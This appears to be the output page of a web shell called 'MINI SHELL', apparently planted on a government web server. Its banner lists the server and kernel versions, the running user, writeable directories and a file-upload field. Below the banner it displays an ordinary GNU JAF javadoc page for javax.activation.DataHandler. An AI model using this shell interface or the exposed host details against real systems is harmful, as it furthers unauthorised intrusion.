MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/javadoc/jaf/javax/activation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/javadoc/jaf/javax/activation/DataHandler.html
<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//gnu.org///DTD XHTML 1.1 plus Target 1.0//EN" "../../resources/xhtml11-target10.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>DataHandler (GNU JAF API documentation)</title><script src="../../resources/gjdoc.js" type="text/javascript"><!-- this comment required for konqueror 3.2.2 --></script><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"/><meta name="generator" content="GNU Gjdoc Standard Doclet"/><meta name="keywords" content="javax.activation.DataHandler class"/><meta name="keywords" content="getDataSource()"/><meta name="keywords" content="getName()"/><meta name="keywords" content="getContentType()"/><meta name="keywords" content="getInputStream()"/><meta name="keywords" content="writeTo()"/><meta name="keywords" content="getOutputStream()"/><meta name="keywords" content="getTransferDataFlavors()"/><meta name="keywords" content="isDataFlavorSupported()"/><meta name="keywords" content="getTransferData()"/><meta name="keywords" content="setCommandMap()"/><meta name="keywords" content="getPreferredCommands()"/><meta name="keywords" content="getAllCommands()"/><meta name="keywords" content="getCommand()"/><meta name="keywords" content="getContent()"/><meta name="keywords" content="getBean()"/><meta name="keywords" content="setDataContentHandlerFactory()"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-layout.css" title="GNU Clean"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-color1.css" title="GNU Clean"/></head><body class="content class" onload="if(parent.contentPageLoaded)parent.contentPageLoaded(document.title)"><table class="navbar div top"><tr><td class="navbar div top"><div class="navbar div top"><span class="navbar item enabled"><a href="../../javax/activation/package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr><tr><td class="navi"><a href="../../javax/activation/DataContentHandlerFactory.html">Prev Class</a> | <a href="../../javax/activation/DataSource.html">Next Class</a></td><td class="navi"><a href="../../index.html" title="Show in a frameset" target="_top">Frames</a> | <a href="DataHandler.html" title="Show without frames" target="_top">No Frames</a> </td></tr><tr><td class="navi">Summary: Nested | Field | <a href="#summary-methods">Method</a> | <a href="#summary-constructors">Constr</a></td><td class="navi">Detail: Nested | Field | <a href="#detail-methods">Method</a> | <a href="#detail-constructors">Constr</a></td></tr></table><div class="class title outer"><h3 class="class title-package">javax.activation</h3><h1 class="class title-class">Class DataHandler</h1></div><div class="class inheritance-tree"><ul class="inheritance 0"><li class="inheritance 0"><code>java.lang.Object</code></li><li><ul class="inheritance 1"><li class="inheritance 1"><code>javax.activation.DataHandler</code></li><li></li></ul></li></ul></div><dl class="class knownimplementing"><dt class="header"><b>Implemented Interfaces:</b></dt><dd class="item">Transferable</dd></dl><hr/><div class="class synopsis outer"><div class="class synopsis declaration"><code>public class <b class="class synopsis name">DataHandler</b></code></div><div class="class synopsis superclass"><code>extends java.lang.Object</code></div><div class="class synopsis implements"><code>implements Transferable</code></div></div><hr/><div class="class description"> Handler for data available in multiple sources and formats.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><a name="summary-constructors" id="summary-constructors"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Constructor Summary</h2></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#DataHandler(Object,String)">DataHandler</a>(Object&nbsp;obj, String&nbsp;mimeType)</code></dt><dd class="description"> Constructor using a reified object representation.</dd></dl></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#DataHandler(URL)">DataHandler</a>(URL&nbsp;url)</code></dt><dd class="description"> Constructor in which the data is read from a URL.</dd></dl></td></tr><tr><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#DataHandler(javax.activation.DataSource)">DataHandler</a>(<a href="../../javax/activation/DataSource.html" title="Interface in javax.activation">DataSource</a>&nbsp;ds)</code></dt><dd class="description"> Constructor in which the data is read from a data source.</dd></dl></td></tr></table></dd></dl><a name="summary-methods" id="summary-methods"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Method Summary</h2></td></tr><tr><td class="left" valign="top"><code class="synopsis"> <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a>[]</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getAllCommands()">getAllCommands</a>()</code></dt><dd class="description"> Returns the complete list of commands for this type of data.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> Object</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getBean(javax.activation.CommandInfo)">getBean</a>(<a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a>&nbsp;cmdInfo)</code></dt><dd class="description"> Returns the instantiated bean using the specified command.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a></code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getCommand(String)">getCommand</a>(String&nbsp;cmdName)</code></dt><dd class="description"> Returns the specified command.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> Object</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getContent()">getContent</a>()</code></dt><dd class="description"> Returns the data as a reified object.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> String</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getContentType()">getContentType</a>()</code></dt><dd class="description"> Returns the MIME type of the data (with parameters).</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> <a href="../../javax/activation/DataSource.html" title="Interface in javax.activation">DataSource</a></code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getDataSource()">getDataSource</a>()</code></dt><dd class="description"> Returns the data source from which data is read.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> InputStream</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getInputStream()">getInputStream</a>()</code></dt><dd class="description"> Returns an input stream from which the data can be read.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> String</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getName()">getName</a>()</code></dt><dd class="description"> Returns the name of the data object if created with a DataSource.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> OutputStream</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getOutputStream()">getOutputStream</a>()</code></dt><dd class="description"> Returns an output stream that can be used to overwrite the underlying
 data, if the DataSource constructor was used.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a>[]</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getPreferredCommands()">getPreferredCommands</a>()</code></dt><dd class="description"> Returns the preferred commands for this type of data.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> Object</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getTransferData(DataFlavor)">getTransferData</a>(DataFlavor&nbsp;flavor)</code></dt><dd class="description"> Returns an object representing the data to be transferred.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> DataFlavor[]</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#getTransferDataFlavors()">getTransferDataFlavors</a>()</code></dt><dd class="description"> Returns the data flavors in which this data is available.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> boolean</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#isDataFlavorSupported(DataFlavor)">isDataFlavorSupported</a>(DataFlavor&nbsp;flavor)</code></dt><dd class="description"> Indicates whether the specified data flavor is supported for this
 data.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#setCommandMap(javax.activation.CommandMap)">setCommandMap</a>(<a href="../../javax/activation/CommandMap.html" title="Class in javax.activation">CommandMap</a>&nbsp;commandMap)</code></dt><dd class="description"> Sets the command map to be used by this data handler.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">static void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#setDataContentHandlerFactory(javax.activation.DataContentHandlerFactory)">setDataContentHandlerFactory</a>(<a href="../../javax/activation/DataContentHandlerFactory.html" title="Interface in javax.activation">DataContentHandlerFactory</a>&nbsp;newFactory)</code></dt><dd class="description"> Sets the data content handler factory.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis"> void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#writeTo(OutputStream)">writeTo</a>(OutputStream&nbsp;os)</code></dt><dd class="description"> Writes the data as a byte stream.</dd></dl></td></tr></table></dd></dl><a name="detail-constructors" id="detail-constructors"/><h2 class="section header">Constructor Details</h2><div class="section"><a name="DataHandler(Object,String)" id="DataHandler(Object,String)"/><div class="member detail outer"><h3 class="member detail name">DataHandler</h3><pre class="member detail synopsis">public DataHandler(Object obj,
                   String mimeType)</pre><blockquote class="member detail name"><div class="member detail description"> Constructor using a reified object representation.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">obj</code><span class="separator"> - </span><span class="description">the object representation of the data</span></dd><dd class="item"><code class="name">mimeType</code><span class="separator"> - </span><span class="description">the MIME type of the object</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="DataHandler(URL)" id="DataHandler(URL)"/><div class="member detail outer"><h3 class="member detail name">DataHandler</h3><pre class="member detail synopsis">public DataHandler(URL url)</pre><blockquote class="member detail name"><div class="member detail description"> Constructor in which the data is read from a URL.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">url</code><span class="separator"> - </span><span class="description">the URL</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="DataHandler(javax.activation.DataSource)" id="DataHandler(javax.activation.DataSource)"/><div class="member detail outer"><h3 class="member detail name">DataHandler</h3><pre class="member detail synopsis">public DataHandler(<a href="../../javax/activation/DataSource.html" title="Interface in javax.activation">DataSource</a> ds)</pre><blockquote class="member detail name"><div class="member detail description"> Constructor in which the data is read from a data source.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">ds</code><span class="separator"> - </span><span class="description">the data source</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><a name="detail-methods" id="detail-methods"/><h2 class="section header">Method Details</h2><div class="section"><a name="getAllCommands()" id="getAllCommands()"/><div class="member detail outer"><h3 class="member detail name">getAllCommands</h3><pre class="member detail synopsis">public <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a>[] getAllCommands()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the complete list of commands for this type of data.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getBean(javax.activation.CommandInfo)" id="getBean(javax.activation.CommandInfo)"/><div class="member detail outer"><h3 class="member detail name">getBean</h3><pre class="member detail synopsis">public Object getBean(<a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a> cmdInfo)</pre><blockquote class="member detail name"><div class="member detail description"> Returns the instantiated bean using the specified command.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">cmdInfo</code><span class="separator"> - </span><span class="description">the command to instantiate the bean with</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getCommand(String)" id="getCommand(String)"/><div class="member detail outer"><h3 class="member detail name">getCommand</h3><pre class="member detail synopsis">public <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a> getCommand(String cmdName)</pre><blockquote class="member detail name"><div class="member detail description"> Returns the specified command.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">cmdName</code><span class="separator"> - </span><span class="description">the command name</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getContent()" id="getContent()"/><div class="member detail outer"><h3 class="member detail name">getContent</h3><pre class="member detail synopsis">public Object getContent()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns the data as a reified object.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getContentType()" id="getContentType()"/><div class="member detail outer"><h3 class="member detail name">getContentType</h3><pre class="member detail synopsis">public String getContentType()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the MIME type of the data (with parameters).
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getDataSource()" id="getDataSource()"/><div class="member detail outer"><h3 class="member detail name">getDataSource</h3><pre class="member detail synopsis">public <a href="../../javax/activation/DataSource.html" title="Interface in javax.activation">DataSource</a> getDataSource()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the data source from which data is read.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getInputStream()" id="getInputStream()"/><div class="member detail outer"><h3 class="member detail name">getInputStream</h3><pre class="member detail synopsis">public InputStream getInputStream()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns an input stream from which the data can be read.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getName()" id="getName()"/><div class="member detail outer"><h3 class="member detail name">getName</h3><pre class="member detail synopsis">public String getName()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the name of the data object if created with a DataSource.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getOutputStream()" id="getOutputStream()"/><div class="member detail outer"><h3 class="member detail name">getOutputStream</h3><pre class="member detail synopsis">public OutputStream getOutputStream()
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns an output stream that can be used to overwrite the underlying
 data, if the DataSource constructor was used.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getPreferredCommands()" id="getPreferredCommands()"/><div class="member detail outer"><h3 class="member detail name">getPreferredCommands</h3><pre class="member detail synopsis">public <a href="../../javax/activation/CommandInfo.html" title="Class in javax.activation">CommandInfo</a>[] getPreferredCommands()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the preferred commands for this type of data.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getTransferData(DataFlavor)" id="getTransferData(DataFlavor)"/><div class="member detail outer"><h3 class="member detail name">getTransferData</h3><pre class="member detail synopsis">public Object getTransferData(DataFlavor flavor)
            throws UnsupportedFlavorException,
                   IOException</pre><blockquote class="member detail name"><div class="member detail description"> Returns an object representing the data to be transferred.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">flavor</code><span class="separator"> - </span><span class="description">the requested data flavor</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="getTransferDataFlavors()" id="getTransferDataFlavors()"/><div class="member detail outer"><h3 class="member detail name">getTransferDataFlavors</h3><pre class="member detail synopsis">public DataFlavor[] getTransferDataFlavors()</pre><blockquote class="member detail name"><div class="member detail description"> Returns the data flavors in which this data is available.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="isDataFlavorSupported(DataFlavor)" id="isDataFlavorSupported(DataFlavor)"/><div class="member detail outer"><h3 class="member detail name">isDataFlavorSupported</h3><pre class="member detail synopsis">public boolean isDataFlavorSupported(DataFlavor flavor)</pre><blockquote class="member detail name"><div class="member detail description"> Indicates whether the specified data flavor is supported for this
 data.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="setCommandMap(javax.activation.CommandMap)" id="setCommandMap(javax.activation.CommandMap)"/><div class="member detail outer"><h3 class="member detail name">setCommandMap</h3><pre class="member detail synopsis">public void setCommandMap(<a href="../../javax/activation/CommandMap.html" title="Class in javax.activation">CommandMap</a> commandMap)</pre><blockquote class="member detail name"><div class="member detail description"> Sets the command map to be used by this data handler.
 Setting to null uses the default command map.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">commandMap</code><span class="separator"> - </span><span class="description">the command map to use</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="setDataContentHandlerFactory(javax.activation.DataContentHandlerFactory)" id="setDataContentHandlerFactory(javax.activation.DataContentHandlerFactory)"/><div class="member detail outer"><h3 class="member detail name">setDataContentHandlerFactory</h3><pre class="member detail synopsis">public static void setDataContentHandlerFactory(<a href="../../javax/activation/DataContentHandlerFactory.html" title="Interface in javax.activation">DataContentHandlerFactory</a> newFactory)</pre><blockquote class="member detail name"><div class="member detail description"> Sets the data content handler factory.
 If the factory has already been set, throws an Error.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">newFactory</code><span class="separator"> - </span><span class="description">the factory to set</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="writeTo(OutputStream)" id="writeTo(OutputStream)"/><div class="member detail outer"><h3 class="member detail name">writeTo</h3><pre class="member detail synopsis">public void writeTo(OutputStream os)
            throws IOException</pre><blockquote class="member detail name"><div class="member detail description"> Writes the data as a byte stream.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">os</code><span class="separator"> - </span><span class="description">the stream to write to</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><p class="navbar bottom spacer"> </p><table class="navbar div bottom"><tr><td><div class="navbar div top"><span class="navbar item enabled"><a href="../../javax/activation/package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr></table></body></html>

Anon7 - 2021